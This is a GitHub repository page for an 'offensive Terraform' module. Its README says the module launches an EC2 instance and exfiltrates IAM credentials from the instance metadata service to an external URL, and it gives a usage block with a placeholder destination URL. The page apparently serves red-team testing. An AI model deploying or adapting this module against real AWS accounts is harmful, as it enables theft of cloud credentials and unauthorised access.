Skip to content

offensive-terraform/terraform-aws-ec2-instance-credential-exfiltration

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

19 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

AWS EC2 Instance Credential Exfiltration Module

OffensiveTerraform OffensiveTerraform OffensiveTerraform

Offensive Terraform module which creates EC2 instance and exfiltrate credential from Instance metadata to external URL.

Attack Diagram

Usage

module "ec2_instance_credential_exfiltration" {
    source  = "offensive-terraform/ec2-instance-credential-exfiltration/aws"

    subnet_id = "subnet-0a4a1cc04"
    url = "http://0.0.0.0/"
    iam_role= "ec2-instance-role"
    iam_instance_profile = "ec2-instance-profile"
}

Author

Module managed by https://github.com/iganbold